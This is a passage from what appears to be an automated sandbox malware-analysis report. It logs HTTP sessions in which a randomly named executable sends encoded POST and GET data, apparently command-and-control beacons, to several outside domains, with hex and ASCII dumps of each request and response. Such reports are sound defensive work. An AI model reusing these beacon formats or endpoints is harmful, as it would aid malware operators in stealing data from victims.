J/sk3RJvNeSTmcYLUCu9h9Io2iSBRZoKKjzKE/v6rjOsTC8aGfkSv4ks8+RcA0PqtwB/Nk2VpuMAscdJpCVMZcUFunWz5N9JmSQ+b3KMa/2pWFID9v6RSXcFC3Jp5DsP4lNgR8YuxLn2Z1UIXZIfIknN+u4wR [TRUNCATED]
Sep 23, 2024 14:37:48.552010059 CEST	808	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 Sep 2024 12:37:48 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 23 Sep 2024 13:37:48 GMT Location: https://www.rtpngk.xyz/yhsl/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tObdvQuvgbak1KPlLHECgKLZIyN3OIqVva2%2Fvit93yqOIHSUEZ6p4VCbhMRFa4so4TRfspyZeKEAkmzUpzJ5FI2m2WPghnuwyyeudRScZxfv7KMKRRGZNUpZNAiMkgFzRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c7a96921d972361-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49716	188.114.97.3	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:50.630011082 CEST	475	OUT	GET /yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo2Uxd0f+FrZwD+wtTCitgNQzIzPqlhTclUhz8bxA3FGZPimHZW40XTk/UgPnbZQA2uTwzCdxs&mtJD_=fvdlJ2L HTTP/1.1 Host: www.rtpngk.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:37:51.080991983 CEST	992	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 Sep 2024 12:37:51 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 23 Sep 2024 13:37:51 GMT Location: https://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo2Uxd0f+FrZwD+wtTCitgNQzIzPqlhTclUhz8bxA3FGZPimHZW40XTk/UgPnbZQA2uTwzCdxs&mtJD_=fvdlJ2L Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eSAbk1p68gZhJkkCVintsdVG8UDCZiPLnBXBsBgv63D1tTKrCwPHZJFB9i3ITNIHri1QM2BbDqk1TFzX4wM92spc9PrW3N7yp9UVWfk%2Bo6hK3W%2FvoJG%2FBUgK1ckzqIro%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c7a96a1e903c32f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49717	195.110.124.133	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:56.231558084 CEST	746	OUT	POST /7m8b/ HTTP/1.1 Host: www.bluegirls.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bluegirls.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.bluegirls.blog/7m8b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 65 57 42 50 76 71 31 6c 58 38 38 37 46 4e 55 4c 6d 72 37 73 35 73 30 42 68 32 52 2b 30 77 51 32 68 67 74 66 49 35 32 6d 67 63 4d 7a 43 4f 61 58 38 77 72 61 6b 35 4a 6a 64 6c 74 6e 6a 4e 55 44 4c 4f 6b 67 67 53 50 32 6f 45 6d 61 37 41 55 4d 45 41 78 36 74 78 34 4e 33 53 52 57 31 67 61 6e 6a 4f 65 6c 4d 68 48 68 69 6c 36 2f 6e 5a 77 70 37 34 79 61 41 58 74 41 73 2b 77 68 65 61 44 31 52 6f 69 76 41 46 43 67 30 2f 4a 71 58 46 2f 64 37 38 46 50 55 6d 31 6c 4c 59 30 73 47 52 53 53 36 70 44 57 34 46 64 7a 6d 6a 51 35 72 63 52 66 36 37 56 67 57 6a 4c 31 64 42 36 4e 45 5a 34 6a 68 54 52 37 65 32 52 2b 39 46 57 78 61 38 46 47 6b 77 3d 3d Data Ascii: 76=eWBPvq1lX887FNULmr7s5s0Bh2R+0wQ2hgtfI52mgcMzCOaX8wrak5JjdltnjNUDLOkggSP2oEma7AUMEAx6tx4N3SRW1ganjOelMhHhil6/nZwp74yaAXtAs+wheaD1RoivAFCg0/JqXF/d78FPUm1lLY0sGRSS6pDW4FdzmjQ5rcRf67VgWjL1dB6NEZ4jhTR7e2R+9FWxa8FGkw==
Sep 23, 2024 14:37:56.855519056 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:37:56 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49718	195.110.124.133	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:58.783951044 CEST	766	OUT	POST /7m8b/ HTTP/1.1 Host: www.bluegirls.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bluegirls.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.bluegirls.blog/7m8b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 65 57 42 50 76 71 31 6c 58 38 38 37 47 73 45 4c 72 71 37 73 6f 38 30 47 75 57 52 2b 37 51 51 79 68 6e 6c 66 49 34 79 32 67 75 34 7a 42 75 71 58 39 78 72 61 6c 35 4a 6a 56 46 74 69 6e 4e 56 50 4c 4f 6f 57 67 58 76 32 6f 45 79 61 37 46 6f 4d 46 7a 5a 39 69 42 34 50 2b 79 52 59 34 41 61 6e 6a 4f 65 6c 4d 68 54 48 69 6c 79 2f 6e 49 41 70 39 64 47 62 4e 33 74 44 72 2b 77 68 61 61 44 35 52 6f 6a 4d 41 41 72 33 30 38 78 71 58 48 6e 64 34 74 46 4d 50 57 31 5a 55 6f 30 37 47 54 37 73 33 61 2f 64 78 44 52 52 75 78 4d 71 71 71 4d 39 67 5a 5a 4d 49 79 7a 4f 5a 44 65 37 54 2f 6c 57 6a 53 56 6a 54 55 6c 66 69 79 7a 62 58 75 6b 43 79 48 36 56 75 39 74 6f 70 35 44 52 77 4b 41 58 43 6b 6a 54 55 33 55 3d Data Ascii: 76=eWBPvq1lX887GsELrq7so80GuWR+7QQyhnlfI4y2gu4zBuqX9xral5JjVFtinNVPLOoWgXv2oEya7FoMFzZ9iB4P+yRY4AanjOelMhTHily/nIAp9dGbN3tDr+whaaD5RojMAAr308xqXHnd4tFMPW1ZUo07GT7s3a/dxDRRuxMqqqM9gZZMIyzOZDe7T/lWjSVjTUlfiyzbXukCyH6Vu9top5DRwKAXCkjTU3U=
Sep 23, 2024 14:37:59.468683004 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:37:59 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49719	195.110.124.133	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:01.333888054 CEST	1779	OUT	POST /7m8b/ HTTP/1.1 Host: www.bluegirls.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bluegirls.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.bluegirls.blog/7m8b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 65 57 42 50 76 71 31 6c 58 38 38 37 47 73 45 4c 72 71 37 73 6f 38 30 47 75 57 52 2b 37 51 51 79 68 6e 6c 66 49 34 79 32 67 75 67 7a 43 64 69 58 2f 53 44 61 33 4a 4a 6a 66 6c 74 6a 6e 4e 56 43 4c 4e 59 4b 67 58 79 44 6f 47 4b 61 37 6e 51 4d 4d 69 5a 39 31 78 34 50 68 69 52 5a 31 67 61 58 6a 4f 75 68 4d 68 44 48 69 6c 79 2f 6e 4c 59 70 36 49 79 62 50 33 74 41 73 2b 77 6c 65 61 43 75 52 73 50 79 41 41 6d 4b 68 63 52 71 57 6e 33 64 39 66 74 4d 53 6d 31 68 58 6f 31 2b 47 54 6e 4a 33 61 53 6b 78 44 4e 72 75 78 30 71 6e 65 78 65 34 49 56 68 61 69 33 7a 47 53 57 42 54 4f 59 6c 6d 78 52 59 4e 33 4e 44 68 43 50 55 63 4e 67 2f 35 68 7a 50 38 75 4e 71 76 70 7a 44 30 65 52 65 58 32 7a 73 43 43 41 70 70 75 68 73 54 44 47 63 6a 5a 6a 66 74 43 75 74 71 45 76 6d 48 49 4e 73 2f 4f 54 30 5a 5a 54 44 67 64 4d 4c 2f 70 37 59 69 67 67 70 4e 76 73 30 57 39 62 77 68 51 38 4c 50 49 36 35 6e 48 6d 38 75 32 64 34 58 65 43 4a 2f 57 41 34 47 56 62 71 2f 6f 47 2f 47 69 69 32 34 41 54 41 54 52 67 6c 33 6e 6f 5a 55 32 6e [TRUNCATED] Data Ascii: 76=eWBPvq1lX887GsELrq7so80GuWR+7QQyhnlfI4y2gugzCdiX/SDa3JJjfltjnNVCLNYKgXyDoGKa7nQMMiZ91x4PhiRZ1gaXjOuhMhDHily/nLYp6IybP3tAs+wleaCuRsPyAAmKhcRqWn3d9ftMSm1hXo1+GTnJ3aSkxDNrux0qnexe4IVhai3zGSWBTOYlmxRYN3NDhCPUcNg/5hzP8uNqvpzD0eReX2zsCCAppuhsTDGcjZjftCutqEvmHINs/OT0ZZTDgdML/p7YiggpNvs0W9bwhQ8LPI65nHm8u2d4XeCJ/WA4GVbq/oG/Gii24ATATRgl3noZU2n1L65FkJ/dFBO75AYhiGTFl0MffyQoXDeYKkWFlTzlVumq6M8IDwCwc6JCwWyAL9kKQYZn9Hg8q6072nXJDR0SG75r8UXHZKesealdIOSHq6OQSxrA9d6pUT1ZUKcukQfUSFapq3HyIaIk4PCzu4ni7FTofmDAiCOMjWE/A7aAQjVbLcSuOMQnyvkTvx5GHpgS1PHf/r5HkFB4w0aC8V6HcTI5aJoP8o1UDkTVYd75w7Q90dCyOvhFBJOEm0+QOmJ0IzkELOOFKiQKgej+zJDQnhLFd6nokkWO1pUz2+S3FpkffmrtBb63JBa6L4EHdqZq2xKYRoPJZGrs3+Cw85qoz+CYth+8bl3jVRP8AH6jCv6z9GjhrYgFmZcLXSiiGPWgdfdMQW/VCLRkJ0GnlykAy+h6uthn/FQeJsQ0UKNvvfcZixPW9Qqvrasg5DN3IQtjzA+SlMvrbgkhfMKVUa9P3W1bqqG9OjAvxPPHIxdXqlnKUmoWqFhO9n52E9TMUzUaUqbHb+Vrw88/dm+ORNjGSBMlUUbR40NftNAGXmDDIdjzS0xL1gveYWoDNRzJ2fbazzVbnNkfxynqqdMJl0k1T7utI5w7FtVKTQawxx6ActI05VJEWph7NKLqU2MbdIUK/B4LD4WL+woHW5QHRZqF+9F8/jK9aiq9K [TRUNCATED]
Sep 23, 2024 14:38:02.168457031 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:01 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49720	195.110.124.133	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:03.876590967 CEST	479	OUT	GET /7m8b/?76=TUpvsdJ0cs84UNNTqqi2wOMj02pU6E0u1A17Lrv5qeBoN9jB/n++wLdBNnRIp/FdR+Ur2HOcuniO4FwpOA1JnwQ/5G5V4geMmZeqJSORp3yZ3MMA5ZHYDD9/sYl5a677eMHhDnCl+rJp&mtJD_=fvdlJ2L HTTP/1.1 Host: www.bluegirls.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:38:04.654149055 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:04 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49721	162.0.238.246	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:09.988609076 CEST	737	OUT	POST /r48b/ HTTP/1.1 Host: www.mistsui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.mistsui.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.mistsui.top/r48b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 7a 47 73 53 79 6a 50 33 6b 66 45 72 6b 59 68 7a 63 44 70 77 54 6d 77 6f 51 44 6c 33 69 4d 30 32 4e 43 79 6e 53 6b 35 7a 65 6e 61 4e 54 62 44 4a 61 65 33 6a 2f 61 70 79 35 78 73 49 48 44 4c 79 37 4e 41 47 78 75 38 50 58 31 6d 75 51 38 6d 41 45 54 75 37 70 33 6e 75 74 41 52 6a 53 4c 51 48 33 63 64 56 53 45 30 2b 77 71 33 39 39 47 68 54 4c 45 4b 43 6c 2b 4a 4f 53 53 45 6a 4d 38 4b 74 33 50 70 64 35 77 77 4d 66 74 48 71 35 67 39 59 6c 61 5a 56 76 33 54 50 56 36 6d 61 38 7a 56 6e 58 43 4a 45 38 33 65 77 34 59 74 54 75 46 4d 44 53 6c 57 4d 79 48 77 2f 52 33 36 69 4e 34 5a 56 2b 76 30 6d 70 4f 49 61 2f 47 56 6e 50 37 70 62 77 41 3d 3d Data Ascii: 76=zGsSyjP3kfErkYhzcDpwTmwoQDl3iM02NCynSk5zenaNTbDJae3j/apy5xsIHDLy7NAGxu8PX1muQ8mAETu7p3nutARjSLQH3cdVSE0+wq399GhTLEKCl+JOSSEjM8Kt3Ppd5wwMftHq5g9YlaZVv3TPV6ma8zVnXCJE83ew4YtTuFMDSlWMyHw/R36iN4ZV+v0mpOIa/GVnP7pbwA==
Sep 23, 2024 14:38:10.578469992 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:10 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49722	162.0.238.246	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:12.534504890 CEST	757	OUT	POST /r48b/ HTTP/1.1 Host: www.mistsui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.mistsui.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.mistsui.top/r48b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 7a 47 73 53 79 6a 50 33 6b 66 45 72 31 49 52 7a 64 67 78 77 48 32 77 72 65 6a 6c 33 6f 73 30 36 4e 43 75 6e 53 6d 56 6a 64 56 2b 4e 4b 36 7a 4a 62 62 44 6a 73 71 70 79 73 42 73 33 4b 6a 4c 44 37 4e 4d 6b 78 76 41 50 58 31 43 75 51 39 57 41 45 67 47 6b 72 6e 6e 67 6c 67 52 68 4e 37 51 48 33 63 64 56 53 48 49 59 77 73 66 39 39 33 52 54 4c 6c 4b 42 76 65 4a 4e 43 69 45 6a 49 38 4c 71 33 50 70 76 35 78 38 32 66 75 2f 71 35 6c 5a 59 6c 6f 39 53 30 48 54 4a 49 71 6e 39 2f 67 77 66 4f 79 68 74 77 57 32 45 78 36 31 6c 72 7a 52 68 49 48 61 67 73 57 49 45 56 31 65 55 61 65 45 67 38 75 77 2b 6b 73 38 37 67 78 77 4e 43 70 49 66 6d 79 74 59 35 50 45 78 79 78 54 50 36 72 43 62 74 62 64 68 41 77 38 3d Data Ascii: 76=zGsSyjP3kfEr1IRzdgxwH2wrejl3os06NCunSmVjdV+NK6zJbbDjsqpysBs3KjLD7NMkxvAPX1CuQ9WAEgGkrnnglgRhN7QH3cdVSHIYwsf993RTLlKBveJNCiEjI8Lq3Ppv5x82fu/q5lZYlo9S0HTJIqn9/gwfOyhtwW2Ex61lrzRhIHagsWIEV1eUaeEg8uw+ks87gxwNCpIfmytY5PExyxTP6rCbtbdhAw8=
Sep 23, 2024 14:38:13.137239933 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:13 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 